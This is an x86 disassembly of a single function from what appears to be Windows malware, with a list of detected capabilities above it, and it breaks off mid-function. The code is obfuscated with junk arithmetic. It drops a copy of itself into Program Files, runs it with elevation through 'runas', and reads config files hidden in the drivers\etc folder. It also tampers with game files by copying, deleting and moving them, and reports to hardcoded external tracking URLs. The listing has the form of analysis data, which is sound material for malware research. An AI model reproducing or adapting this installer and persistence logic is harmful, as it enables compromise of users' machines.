Function at 0x402420
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4440fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12a8
call fcn.0042a220
mov eax, dword [0x458000]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov esi, dword [0x45668c]
imul esi, esi, 0xdcfc
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
mov ecx, dword [0x456694]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x95e7555
imul ecx
mov ecx, dword [0x456690]
sar edx, 9
mov edi, edx
add esi, edx
mov eax, 0x5bdd0ecb
imul ecx
mov ecx, dword [0x4566a8]
sar edx, 0xe
imul ecx, ecx, 0x3117
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, ecx
mov ecx, dword [0x45669c]
mov eax, 0x6000f003
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
mov dword [str._r_____r____], edi
mov dword [ebp - 4], 0
call fcn.0042a1da
mov ecx, dword [0x456690]
mov edi, dword [0x4566a0]
mov esi, eax
imul edi, edi, 0xdcfc
mov eax, 0x95e7555
imul ecx
mov ecx, dword [0x45668c]
sar edx, 9
mov ebx, edx
add edi, edx
mov eax, 0xb73ab967
imul ecx
add edx, ecx
sar edx, 0xf
shr ebx, 0x1f
mov ecx, edx
add ebx, edi
add ebx, edx
mov edx, dword [0x4566a8]
imul edx, edx, 0x3117
shr ecx, 0x1f
add ecx, ebx
sub ecx, edx
sub ecx, dword [0x456694]
add ecx, 0xdbb5
add esp, 4
mov dword [0x45668c], ecx
call fcn.00441685
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x44]
push eax
lea ecx, [ebp - 0xdb4]
call fcn.00402370
mov ecx, dword [ebp - 0xdb4]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x314]
nop
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402570
lea eax, [ebp - 0x314]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402583
sub eax, edx
mov dword [ebp - 0xdac], eax
jne 0x402f6b
mov edi, dword [0x45668c]
mov ecx, dword [str._r_____r____]
imul edi, edi, 0xdcfc
imul ecx, ecx, 0x36a6
add edi, ecx
mov ecx, dword [0x45669c]
mov eax, 0xb73ab967
imul ecx
add edx, ecx
mov ecx, dword [0x456698]
sar edx, 0xf
imul ecx, ecx, 0x7f22
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x4566a4]
push str.C:WINDOWS_system32driversetc_service3.ini
push 0x100
add edi, eax
lea eax, [ebp - 0x214]
push eax
push 0x446e25
push str.rand
lea edx, [ecx + edi - 0xdd0b]
push str.aaaaa
mov dword [0x456694], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x214]
push ecx
call fcn.0042a1d5
add esp, 4
test eax, eax
jle 0x402637
lea edx, [ebp - 0x214]
push edx
call fcn.0042a1d5
add esp, 4
mov esi, eax
mov eax, esi
cdq
mov ecx, 0x190
idiv ecx
mov ebx, edx
mov eax, edx
and eax, 0x80000001
mov dword [ebp - 0xda8], ebx
jns 0x402657
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x4026c2
mov ecx, dword [0x456694]
mov esi, ecx
mov eax, 0x5bdd0ecb
imul esi, esi, 0xdd0b
imul ecx
mov ecx, dword [0x456690]
sar edx, 0xe
imul ecx, ecx, 0xaaa9
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, ecx
mov ecx, dword [0x45668c]
mov edx, ecx
imul edx, edx, 0x18161
add edi, edx
mov eax, 0x80df83a9
imul ecx
add edx, ecx
mov ecx, dword [0x4566a4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
lea esi, [ebx - 1]
mov dword [0x45669c], edi
inc ebx
jmp 0x40272e
mov edx, dword [0x45668c]
mov edi, dword [0x45669c]
mov eax, 0x95e7555
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456688]
imul edx, edx, 0xb2d6
mov ecx, edi
imul ecx, ecx, 0x36a6
sub ecx, eax
add ecx, edx
mov edx, dword [0x4566a4]
mov eax, 0x5bdd0ecb
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x6000f003
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov esi, ebx
mov dword [0x4566a4], ecx
add ebx, 2
mov eax, dword [0x456690]
mov edx, dword [0x4566a0]
imul eax, eax, 0xdd0b
imul edx, edx, 0xffff5557
sub edx, eax
mov dword [ebp - 0xdb0], edx
mov eax, 0x55072b69
imul edi
mov eax, dword [ebp - 0xdb0]
sar edx, 0xf
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0x80df83a9
imul ecx
mov eax, dword [str._r_____r____]
add edx, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x456688]
lea edx, [edi + eax]
add ecx, edx
mov dword [0x456688], ecx
mov ecx, 0x190
cmp ebx, ecx
jl 0x4027a1
mov ebx, dword [ebp - 0xda8]
dec ebx
imul esi, esi, 0x21
add edi, eax
mov eax, dword [0x456688]
add eax, edi
lea esi, [esi + str.Installing]
push esi
mov dword [0x456688], eax
lea eax, [ebp - 0x114]
push str.C:Program_Files_s
push eax
mov dword [ebp - 0xdac], esi
call fcn.00429ae1
add esp, 0xc
push 0
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, ebx
imul edx, edx, 0x21
add edx, str.Installing
push edx
push esi
lea eax, [ebp - 0x114]
push str.C:Program_Files_s_s.exe
push eax
call fcn.00429ae1
mov ecx, dword [0x456694]
mov esi, dword [0x4566a8]
mov eax, 0x95e7555
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x6bb7d05b
imul esi
sub edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4566a0]
imul edx, edx, 0xb2d6
mov edi, esi
imul esi, esi, 0x3117
imul edi, edi, 0xdd0b
sub eax, edi
add eax, edx
mov edx, dword [0x456698]
mov edi, eax
mov eax, 0x14dc1615
imul edx
sar edx, 0xa
add edi, edx
mov eax, edx
mov edx, dword [0x456690]
shr eax, 0x1f
add eax, edi
mov edi, dword [0x45668c]
sub eax, ecx
imul edi, edi, 0xdcfc
mov dword [0x456698], eax
mov eax, 0x5bdd0ecb
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45669c]
sub edi, eax
mov eax, 0x6000f003
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, esi
add eax, edx
add esp, 0x10
mov dword [ebp - 0xdb0], 0
sub edi, eax
add edi, ecx
push 0x100
lea ecx, [ebp - 0x214]
push ecx
push 0
mov dword [str._r_____r____], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea edx, [ebp - 0x214]
push 0x8000
push edx
call fcn.0043699b
mov ecx, dword [0x4566a0]
mov esi, eax
imul ecx, ecx, 0xdcfc
mov eax, 0x95e7555
imul dword [0x456690]
sar edx, 9
add ecx, edx
mov edi, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x45668c]
mov eax, 0xb73ab967
imul ecx
add edx, ecx
mov eax, dword [0x456694]
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov edi, dword [0x4566a8]
mov edx, edi
imul edx, edx, 0x3117
sub ecx, edx
sub ecx, eax
add ecx, 0xdbb5
add esp, 0xc
cmp esi, 0xffffffff
mov dword [0x45668c], ecx
je 0x402bd6
mov eax, dword [str._r_____r____]
imul ecx, ecx, 0xdcfc
mov edi, dword [0x45669c]
imul eax, eax, 0x36a6
add ecx, eax
mov eax, 0xb73ab967
imul edi
add edx, edi
mov edi, dword [0x4566a4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456698]
imul edx, edx, 0x7f22
sub ecx, eax
push 0x100000
add ecx, edi
lea eax, [edx + ecx - 0xdd0b]
push 0x458f80
push esi
mov dword [0x456694], eax
call fcn.004355b8
mov edi, eax
push esi
mov dword [ebp - 0xda8], edi
call fcn.00435754
add esp, 0x10
cmp edi, 0x2800
jle 0x402bca
mov ecx, dword [0x456694]
mov esi, ecx
mov eax, 0x5bdd0ecb
imul esi, esi, 0xdd0b
imul ecx
mov ecx, dword [0x456690]
sar edx, 0xe
imul ecx, ecx, 0xaaa9
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, ecx
mov ecx, dword [0x45668c]
mov edx, ecx
imul edx, edx, 0x18161
add edi, edx
mov eax, 0x80df83a9
imul ecx
add edx, ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
mov dword [0x45669c], edi
call fcn.0042a1da
push eax
push 0x446b00
push 0x459280
call fcn.00429ae1
push 0x180
lea ecx, [ebp - 0x114]
push 0x8302
push ecx
call fcn.0043699b
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
jne 0x402ab2
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402a73
sub eax, edx
lea edx, [ebp + eax - 0x118]
push str.s.exe
push edx
call fcn.00429ae1
push 0x180
lea eax, [ebp - 0x114]
push 0x8302
push eax
call fcn.0043699b
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
je 0x402bca
mov edx, dword [0x45668c]
mov ecx, dword [0x45669c]
mov eax, 0x95e7555
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456688]
mov edi, ecx
imul edx, edx, 0xb2d6
imul edi, edi, 0x36a6
sub edi, eax
add edi, edx
mov edx, dword [0x4566a4]
mov eax, 0x5bdd0ecb
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6000f003
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xda8]
push edx
sub edi, ecx
push 0x458f80
push esi
mov dword [0x4566a4], edi
call fcn.00432fe8
push 2
push 0
push esi
call fcn.00432d6f
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xc14]
rep stosd dword es:[edi], eax
mov eax, dword [0x456690]
mov edi, dword [0x4566a0]
imul eax, eax, 0xdd0b
mov ecx, dword [0x45669c]
imul edi, edi, 0xffff5557
sub edi, eax
mov eax, 0x55072b69
imul ecx
mov ecx, dword [0x4566a4]
sar edx, 0xf
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x80df83a9
imul ecx
add edx, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
sub edi, ecx
mov ecx, dword [0x456688]
add edi, edx
push ebx
lea edx, [ebp - 0xc14]
push edx
add ecx, edi
push esi
mov dword [0x456688], ecx
call fcn.00432fe8
push esi
call fcn.00435754
add esp, 0x28
mov dword [ebp - 0xdb0], 1
mov ecx, dword [0x45668c]
mov edi, dword [0x4566a8]
mov esi, dword [0x456690]
mov ebx, dword [0x45669c]
mov eax, 0x9524e185
imul esi
add edx, esi
sar edx, 0xf
mov esi, edi
imul esi, esi, 0xb25a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5bdd0ecb
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456688]
imul edx, edx, 0x7f22
sub esi, eax
mov eax, dword [0x4566a0]
add esi, edx
sub esi, eax
mov eax, dword [ebp - 0xdb0]
sub esi, 0xdd0b
cmp eax, 1
mov dword [0x456690], esi
jne 0x402f5c
imul ecx, ecx, 0xdcfc
imul edi, edi, 0x3117
mov eax, 0x95e7555
imul dword [0x456694]
sar edx, 9
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, eax
mov eax, 0x5bdd0ecb
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x6000f003
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ecx, edi
add eax, edx
sub ecx, eax
mov dword [str._r_____r____], ecx
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x214]
push str._s__33201_
push edx
call fcn.00429ae1
mov esi, dword [0x4566a0]
xor eax, eax
imul esi, esi, 0xdcfc
mov ecx, 0x11
lea edi, [ebp - 0xdf8]
rep stosd dword es:[edi], eax
mov ecx, dword [0x456690]
mov eax, 0x95e7555
imul ecx
mov ecx, dword [0x45668c]
sar edx, 9
add esi, edx
mov ebx, dword [0x456694]
mov edi, edx
mov eax, 0xb73ab967
imul ecx
mov eax, dword [0x4566a8]
add edx, ecx
imul eax, eax, 0x3117
sar edx, 0xf
mov ecx, edx
shr edi, 0x1f
shr ecx, 0x1f
add edi, esi
mov esi, dword [0x45669c]
add edi, edx
mov edx, dword [str._r_____r____]
add ecx, edi
imul edx, edx, 0x36a6
sub ecx, eax
sub ecx, ebx
add ecx, 0xdbb5
mov dword [0x45668c], ecx
imul ecx, ecx, 0xdcfc
add ecx, edx
mov eax, 0xb73ab967
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456698]
add esp, 0xc
mov dword [ebp - 0xdf8], 0x44
mov dword [ebp - 0xdcc], 1
mov word [ebp - 0xdc8], 5
sub ecx, eax
mov eax, dword [0x4566a4]
imul edx, edx, 0x7f22
add ecx, eax
lea eax, [edx + ecx - 0xdd0b]
lea ecx, [ebp - 0xe08]
push ecx
lea edx, [ebp - 0xdf8]
push edx
push 0
push 0
push 0x20
push 0
push 0
mov dword [0x456694], eax
push 0
lea eax, [ebp - 0x214]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402e19
mov ecx, dword [0x456694]
mov esi, ecx
mov eax, 0x5bdd0ecb
imul esi, esi, 0xdd0b
imul ecx
mov ecx, dword [0x456690]
sar edx, 0xe
imul ecx, ecx, 0xaaa9
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, ecx
mov ecx, dword [0x45668c]
mov edx, ecx
imul edx, edx, 0x18161
add edi, edx
mov eax, 0x80df83a9
imul ecx
add edx, ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
mov dword [0x45669c], edi
call fcn.00429d06
mov edx, dword [0x45668c]
mov ecx, dword [0x45669c]
mov eax, 0x95e7555
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456688]
mov esi, ecx
imul edx, edx, 0xb2d6
imul esi, esi, 0x36a6
sub esi, eax
add esi, edx
mov edx, dword [0x4566a4]
mov eax, 0x5bdd0ecb
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x6000f003
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xdac]
push edx
lea eax, [ebp - 0x114]
sub esi, ecx
push str.C:Program_Files_s
push eax
mov dword [0x4566a4], esi
call fcn.00429ae1
add esp, 0xc
push 1
lea ecx, [ebp - 0x114]
push ecx
push 0
lea edx, [ebp - 0x214]
push edx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x403a65
mov eax, dword [0x456690]
mov esi, dword [0x4566a0]
imul eax, eax, 0xdd0b
mov ecx, dword [0x45669c]
imul esi, esi, 0xffff5557
sub esi, eax
mov eax, 0x55072b69
imul ecx
mov ecx, dword [0x4566a4]
sar edx, 0xf
mov edi, edx
add esi, edx
mov eax, 0x80df83a9
imul ecx
mov eax, dword [0x456688]
add edx, ecx
push 0
push 0
sar edx, 0xe
push 0
mov ecx, edx
shr edi, 0x1f
shr ecx, 0x1f
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
add ecx, edx
add edi, esi
sub edi, ecx
mov ecx, dword [str._r_____r____]
push 0x45667c
push 0
add edi, ecx
add eax, edi
push 0
mov dword [0x456688], eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0043c18a
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call ebx
jmp 0x402f71
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
jmp 0x402f71
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x456690]
mov esi, dword [0x4566a0]
imul edx, edx, 0xdd0b
mov ecx, dword [0x45669c]
imul esi, esi, 0xffff5557
sub esi, edx
mov eax, 0x55072b69
imul ecx
mov ecx, dword [0x4566a4]
sar edx, 0xf
mov edi, edx
add esi, edx
mov eax, 0x80df83a9
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
shr edi, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, dword [0x456688]
add edi, ecx
lea ecx, [ebp - 0xda4]
push ecx
add eax, edi
push 0x101
mov dword [0x456688], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402ff0
push 0
call fcn.00429d06
push 0x413c
lea edx, [ebp - 0x314]
push 0x446b00
push edx
call fcn.00429ae1
add esp, 0xc
lea eax, [ebp - 0x314]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x558f80], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov eax, 0x95e7555
jne 0x4030ab
mov edx, dword [0x45668c]
mov ecx, dword [0x45669c]
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456688]
mov esi, ecx
imul edx, edx, 0xb2d6
imul esi, esi, 0x36a6
sub esi, eax
add esi, edx
mov edx, dword [0x4566a4]
mov eax, 0x5bdd0ecb
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x6000f003
imul ecx
mov eax, dword [0x456678]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
cmp eax, 0xffffffff
mov dword [0x4566a4], esi
je 0x4030a4
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.00429d06
mov ecx, dword [0x456690]
mov esi, dword [0x4566a0]
imul ecx
mov ecx, dword [0x45668c]
imul esi, esi, 0xdcfc
sar edx, 9
mov edi, edx
add esi, edx
mov eax, 0xb73ab967
imul ecx
add edx, ecx
mov ecx, dword [0x4566a8]
imul ecx, ecx, 0x3117
sar edx, 0xf
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, esi
add edi, edx
mov edx, dword [0x456694]
add eax, edi
sub eax, ecx
sub eax, edx
add eax, 0xdbb5
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x45668c], eax
call fcn.00429b39
add esp, 8
cmp eax, 0xffffffff
jne 0x403135
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00429b39
add esp, 8
cmp eax, 0xffffffff
je 0x403135
push 0xea60
call ebx
mov ecx, dword [0x456690]
mov esi, dword [0x4566a8]
mov eax, 0x9524e185
imul esi, esi, 0xb25a
imul ecx
add edx, ecx
mov ecx, dword [0x45669c]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5bdd0ecb
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456688]
imul edx, edx, 0x7f22
sub esi, ecx
mov ecx, dword [0x4566a0]
add esi, edx
sub esi, ecx
push 0
sub esi, 0xdd0b
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x456690], esi
call fcn.00429b39
add esp, 8
cmp eax, 0xffffffff
je 0x403a06
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00429b39
add esp, 8
cmp eax, 0xffffffff
je 0x403a06
mov ecx, dword [0x456694]
mov esi, dword [0x4566a8]
mov eax, 0x95e7555
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x6bb7d05b
imul esi
sub edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4566a0]
imul edx, edx, 0xb2d6
mov edi, esi
imul esi, esi, 0x3117
imul edi, edi, 0xdd0b
sub eax, edi
add eax, edx
mov edx, dword [0x456698]
mov edi, eax
mov eax, 0x14dc1615
imul edx
sar edx, 0xa
add edi, edx
mov eax, edx
mov edx, dword [0x456690]
shr eax, 0x1f
add eax, edi
mov edi, dword [0x45668c]
sub eax, ecx
imul edi, edi, 0xdcfc
mov dword [0x456698], eax
mov eax, 0x5bdd0ecb
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45669c]
sub edi, eax
mov eax, 0x6000f003
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
push 0x446d9c
add edi, esi
add eax, edx
sub edi, eax
push 0x200
add edi, ecx
lea ecx, [ebp - 0xa14]
push ecx
push 0x446e25
push str.ConfigL0
push str.GameType1
mov dword [str._r_____r____], edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x446e25
lea esi, [ebp - 0xa14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4035f1
mov ecx, dword [0x456690]
mov esi, dword [0x4566a0]
mov eax, 0x95e7555
imul esi, esi, 0xdcfc
imul ecx
mov ecx, dword [0x45668c]
sar edx, 9
mov edi, edx
add esi, edx
mov eax, 0xb73ab967
imul ecx
add edx, ecx
mov ecx, dword [0x4566a8]
sar edx, 0xf
imul ecx, ecx, 0x3117
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, esi
add edi, edx
mov edx, dword [0x456694]
add eax, edi
sub eax, ecx
sub eax, edx
add eax, 0xdbb5
lea edx, [ebp - 0xa14]
push edx
mov dword [0x45668c], eax
lea eax, [ebp - 0x12b8]
push 0x12c
push eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x4035f1
mov esi, dword [0x45668c]
mov ecx, dword [str._r_____r____]
imul esi, esi, 0xdcfc
imul ecx, ecx, 0x36a6
add esi, ecx
mov ecx, dword [0x45669c]
mov eax, 0xb73ab967
imul ecx
add edx, ecx
mov ecx, dword [0x456698]
sar edx, 0xf
imul ecx, ecx, 0x7f22
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, dword [0x4566a4]
lea edx, [ecx + esi - 0xdd0b]
mov dword [0x456694], edx
mov edx, dword [ebp - 0x12b8]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4033a2
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x12ac]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x614]
jne 0x4033c9
push 0x446b0c
jmp 0x4033ce
push str._s_s
push ecx
call fcn.00429ae1
mov ecx, dword [0x456694]
mov esi, ecx
mov eax, 0x5bdd0ecb
imul esi, esi, 0xdd0b
imul ecx
mov ecx, dword [0x45668c]
sar edx, 0xe
mov edi, edx
add esi, edx
mov edx, dword [0x456690]
imul edx, edx, 0xaaa9
mov eax, ecx
imul eax, eax, 0x18161
shr edi, 0x1f
add edi, esi
add edi, edx
add edi, eax
mov eax, 0x80df83a9
imul ecx
add edx, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esp, 0x10
lea edx, [ebp - 0x614]
push edx
lea eax, [ebp - 0x414]
sub edi, ecx
push str._s.bak
push eax
mov dword [0x45669c], edi
call fcn.00429ae1
add esp, 0xc
push 0
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x614]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x614]
push eax
call esi
mov edx, dword [0x45668c]
mov ecx, dword [0x45669c]
mov eax, 0x95e7555
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456688]
mov edi, ecx
imul edx, edx, 0xb2d6
imul edi, edi, 0x36a6
sub edi, eax
add edi, edx
mov edx, dword [0x4566a4]
mov eax, 0x5bdd0ecb
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6000f003
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x614]
sub edi, ecx
push 0
push edx
mov dword [0x4566a4], edi
call fcn.00429b39
add esp, 8
cmp eax, 0xffffffff
je 0x403561
mov eax, dword [0x456690]
mov edi, dword [0x4566a0]
imul eax, eax, 0xdd0b
mov ecx, dword [0x45669c]
imul edi, edi, 0xffff5557
sub edi, eax
mov eax, 0x55072b69
imul ecx
mov ecx, dword [0x4566a4]
sar edx, 0xf
add edi, edx
mov ebx, edx
mov eax, 0x80df83a9
imul ecx
add edx, ecx
sar edx, 0xe
mov ecx, edx
shr ebx, 0x1f
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456688]
add ebx, edi
mov edi, dword [str._r_____r____]
sub ebx, ecx
add ebx, edi
add edx, ebx
mov dword [0x456688], edx
lea edx, [ebp - 0x414]
push edx
call esi
push 0
call fcn.00429d06
mov ecx, dword [0x456690]
mov esi, dword [0x4566a8]
mov eax, 0x9524e185
imul esi, esi, 0xb25a
imul ecx
add edx, ecx
mov ecx, dword [0x45669c]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5bdd0ecb
imul ecx
mov edi, dword [0x4566a0]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456688]
imul edx, edx, 0x7f22
sub esi, ecx
add esi, edx
lea eax, [ebp - 0x614]
sub esi, edi
push eax
lea ecx, [ebp - 0x414]
sub esi, 0xdd0b
push ecx
mov dword [0x456690], esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x814]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x4035e3
push 0x64
call ebx
mov ecx, dword [0x4566a8]
mov eax, 0x6bb7d05b
imul ecx
sub edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
mov ecx, dword [0x456694]
imul esi, esi, 0xdd0b
mov eax, 0x95e7555
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4566a0]
imul edx, edx, 0xb2d6
sub edi, esi
sub edi, ecx
mov ecx, dword [0x456698]
add edi, edx
mov eax, 0x14dc1615
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [0x456698], eax
lea eax, [ebp - 0x814]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403664
sub eax, edx
mov dword [ebp - 0xdac], eax
jne 0x40367c
push 0
call fcn.00429d06
mov edx, dword [0x45668c]
mov ecx, dword [0x45669c]
mov eax, 0x95e7555
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456688]
mov esi, ecx
imul edx, edx, 0xb2d6
imul esi, esi, 0x36a6
sub esi, eax
add esi, edx
mov edx, dword [0x4566a4]
mov eax, 0x5bdd0ecb
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x6000f003
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x814]
sub esi, ecx
push 0
push edx
mov dword [0x4566a4], esi
call fcn.00429b39
add esp, 8
cmp eax, 0xffffffff
jne 0x40381a
mov ecx, dword [0x456698]
mov esi, dword [0x456690]
mov eax, 0xb73ab967
imul esi, esi, 0xdcfc
imul ecx
mov eax, dword [0x4566a0]
add edx, ecx
imul eax, eax, 0x113b1
mov ecx, dword [str._r_____r____]
sar edx, 0xf
mov edi, edx
add esi, edx
shr edi, 0x1f
push 0
add edi, esi
sub edi, eax
push 0
push 0
mov eax, 0x55072b69
imul ecx
mov eax, dword [ebp + 8]
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
push 0x45667c
sar edx, 0xf
push 0
mov ecx, edx
push 0
shr ecx, 0x1f
push 1
